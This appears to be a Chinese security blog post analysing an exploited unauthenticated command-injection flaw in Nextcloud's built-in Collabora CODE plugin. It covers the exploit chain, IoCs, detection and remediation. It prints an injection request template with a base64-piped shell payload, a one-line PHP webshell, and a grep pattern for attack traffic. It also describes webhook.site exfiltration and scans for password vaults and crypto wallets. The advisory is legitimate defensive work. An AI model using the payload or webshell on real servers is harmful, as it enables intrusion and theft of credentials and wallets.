2026-10-24 13:12:27 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

别光禁用！Nextcloud 遭遇高危 0-day：官方内置 CODE 插件被植入 WebShell 深度复盘

原创

Kit Chung
Kit Chung

安全圈动向

2026年10月16日 08:28
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

大家好，今天跟大家聊一个最近在自建私有云和开源运维圈子里炸开锅的安全事件。

如果你手头维护着 Nextcloud，而且为了图省事开启了官方应用市场里的 Collabora Online - Built-in CODE Server（应用 ID 为 richdocumentscode），建议你立刻把手头的咖啡放下，登录服务器看看 Web 访问日志和应用目录。

官方刚刚正式披露了该漏洞的 CVE 编号与安全公告（CVE-2026-110447）。但事实上，该漏洞早在 9 月上旬就已经在野外被攻击者作为 0-day 批量利用，黑客不仅成功写入了持久化的 WebShell，甚至专门针对服务器上的密码凭据库和加密货币钱包进行了定点扫描！

⚠️ 致命误区：很多管理员出事后的第一反应是“去后台先禁用插件避避风头”。但在这起漏洞里，在 Nextcloud 后台单纯点击“禁用（Disable）”完全无法阻断利用！

今天我就从底层代码机制、复现利用路径、黑客攻击链到排查止血，带大家把这个洞从里到外盘个底朝天。

一、核心痛点：为什么“内置文档服务”会暴雷？

用过 Nextcloud 的朋友都清楚，想要在线编辑 Word、Excel，通常需要单独搭一个 Collabora Online 或者 OnlyOffice 服务。但对于中小团队和个人自建而言，部署独立 Docker 容易让人劝退，因此 Collabora 官方推出了内置版插件 richdocumentscode。

它的工作原理很“粗暴”：安装后直接自动下载一份预编译的 CODE（Collabora Online Development Edition）AppImage，在服务器本地跑起一个守护进程。

而这次出事的核心主角，就是位于插件根目录下的一个脚本——proxy.php。

1. 原生架构短板：裸奔的单入口脚本

Nextcloud 绝大多数核心路由都要经过框架层完整的 Session 校验和鉴权中间件。但 proxy.php 是一个极其精简的反向代理脚本，负责把前端请求代理给后端的本地守护进程。

关键问题在于：该脚本是由 Web 服务器（Nginx / Apache + PHP-FPM）直接执行的纯 PHP 文件，压根没有加载任何 Nextcloud 的核心框架代码！这意味着它天生缺乏系统级的身份认证，只要外部能够向它发起 HTTP 请求，就能毫无阻拦地触达。

2. 特殊的“条件触发”机制

proxy.php 的内部逻辑如下：当有外部请求打进来时，它会先检查本地 CODE 服务是否正在监听。如果端口通着，它就只做代理转发；但如果本地端口不通（比如服务器刚重启、容器重启、插件升级或进程意外崩溃），脚本就会动态拼接一条 Bash 命令把 CODE 进程拉起来！

漏洞，就精准卡在“动态拼命令”这临门一脚上。

二、技术深剖：Bash 双引号引发的未授权 RCE

在修复版本（26.4.303）发布之前，包括广泛使用的 26.4.302 在内，脚本在处理启动参数时犯了一个 Shell 编程中的经典禁忌：直接把请求上下文（包含请求路径 Path）塞进了双引号的 Bash 命令字符串中。

1. 漏洞触发链解析

大家知道，在 Linux Shell 语法中，双引号对于 $(...) 命令替换是不做转义防护的。

攻击者只需要构造如下结构的未授权 HTTP 请求：

GET /apps/richdocumentscode/proxy.php/path_payload/proxy.php?status HTTP/1.1
Host: target-nextcloud.com

当攻击者在请求路径中注入形如 $(echo${IFS}'base64_payload'|base64${IFS}-d|sh)，或者包含 %2e%2e（目录穿越）等特殊字符序列时，脚本在启动 CODE 守护进程的瞬间，系统 Shell 会优先解析并无条件执行 $(...) 内部的恶意指令！

整个过程完全不需要登录权限，直接以 Web 服务器（如 www-data）的系统身份运行。

2. 为什么说“禁用插件”防不住？

Nextcloud 的“禁用插件”只是在数据库层面将该 App 标记为不可用，框架内部不再加载它；但是，插件目录下的静态文件与脚本依然原封不动地躺在 Web 根目录下！

因为 proxy.php 压根不依赖 Nextcloud 框架，只要 Web 服务的 location 配置命中了该文件，PHP-FPM 依然会直接解析它。只要物理文件在，后门就永远敞开。

3. 官方的代码修复方案

修复该漏洞的核心代码其实非常轻量，仅改动了 proxy.php 中的 4 行逻辑：

开发者彻底废弃了原先用双引号将所有参数拼装成单个长字符串传给 bash -c 的危险做法，改将启动命令和每个启动参数作为独立的转义参数传给底层解析器。这直接剥夺了 Shell 对请求路径变量执行子进程解析的能力。

三、攻击者野外利用链还原

从 GitHub 管理员披露的首批应急处置报告来看，攻击者的攻击链非常清晰，且带有强烈的黑产套现诉求：

探针打点与 WebShell 落地

攻击者针对暴露的 /apps/richdocumentscode/proxy.php?status 发起带载荷请求，通过 Base64 解码在插件目录下直接写入一句话 PHP WebShell（命名规律多为 shx*.php）。其恶意核心通常只有一行：

<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
2. 指纹外带（OOB）

Shell 落地后，指令第一时间抓取系统的 uname -a，通过 curl 回传给公网的 webhook.site 节点以确认权限。
3. 高价值资产地毯式搜刮

黑客拿到 Web 权限后，在没有获取 root 权限的情况下（日志中仅捕获到部分盲目的 sudo 提权失败记录），立即启动自动化脚本全盘扫描以下敏感文件：

密码凭据库

*.kdbx、bitwarden、1password 相关的缓存与数据库；
* 加密货币钱包

wallet.dat、keystore.json，以及匹配 .bitcoin、.electrum、.monero、.ethereum 等敏感目录。

正如第一位排查出攻击的管理员所警示：“只要 Web 服务器用户有权限读取的任何数据，现在都必须被假定为已经泄露。”

四、避坑与应急处置指南（建议收藏）

针对这一突发漏洞，我把排查与加固步骤精炼为以下 4 步闭环：

Step 1：紧急升级或物理移除

立即检查你的插件列表，将 Collabora Online - Built-in CODE Server 升级到 26.4.303 或更高版本。
老版本用户注意

该补丁版本要求 Nextcloud 30 及以上。如果你的实例停留在 Nextcloud 29 或更早版本（已官方 EOL），应用商店依然会向你分发有漏洞的包，此时必须物理卸载（Remove）该插件或升级 Nextcloud 主程序。
* 关于版本稳定性的坑

9 月 24 日官方曾发布 26.4.402，但部分管理员反馈其在特定环境下会导致文档打不开或启动失败，不少人重新回滚到了 26.4.303。如果遇到不稳定情况，建议锁定在 26.4.303。
* 注：采用独立 Docker 容器运行 Collabora 的用户不受此漏洞影响。

Step 2：文件系统排查（木马清理）

登录服务器终端，重点检索是否存在黑客留下的后门文件：

# 检索插件目录及附近路径下的异常 PHP 文件
find /path/to/nextcloud/apps/richdocumentscode/ -type f -name \"shx*.php\"

已知落地样本名：shrf4645.php、shxa35d0.php、shx5cf91.php、shxd33ce.php、shxf4645.php、shx13a86.php、shx56367.php。

已知木马 SHA-256：
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562

建议同时在 Nextcloud 后台运行一次“代码完整性检查”，排查被植入的新增文件。

Step 3：访问日志回溯

回溯至少自 9 月 10 日以来的 Web 访问日志，检查是否命中攻击特征：

# 检索包含目录穿越、Bash 变量替换或 Base64 管道执行的请求
grep \"proxy.php\" /var/log/nginx/access.log | grep -E \"(%2e%2e|\\$\\(|\\$\\{IFS\\}|base64)\"

重点威胁情报（IoC）：

恶意攻击源 IP：139.28.18.122、89.38.98.50
恶意回调域名：webhook.site（关联 ID：45060ed4-de0b-4119-8f0d-2a2776bbd413、774cf5e1-b5a4-4174-a1ad-0241861029a2）

Step 4：影响面与凭据重置

如果发现服务器已经出现 shx*.php 文件或日志明确命中攻击流量，请立即假定 www-data 权限内的所有文件已被遍历：

彻底清除 WebShell 文件；
轮换服务器上所有的数据库密码、Nextcloud 外部存储挂载凭据；
如果云盘里存有 KeePass 数据库、私钥、助记词或钱包文件，立即转移资产并更换主密码。

写在最后：关于开源漏洞披露的技术思考

这次事件背后还有一个令人深思的技术插曲：修复代码其实早在 8 月 20 日就已经写好，但当时提交的 Commit 仅仅被轻描淡写地标记为 “tidy up how the coolwsd launch command is built”（整理 coolwsd 启动命令结构），并没有作为安全漏洞打补丁。

直到 9 月 10 日，野外黑客利用其作为 0-day 开始批量猎杀服务器；而正式的安全公告和 CVE-2026-110447 编号，足足推迟到了 10 月中旬才面向公众发布。

在私有云与轻量化运维越来越普及的今天，“内置一键包”虽然带来了便利，但也常常打破了原有的安全纵深边界。各位维护生产环境或个人私有云的开发者，记得时刻关注基础镜像的安全状态，把防线筑在第一步。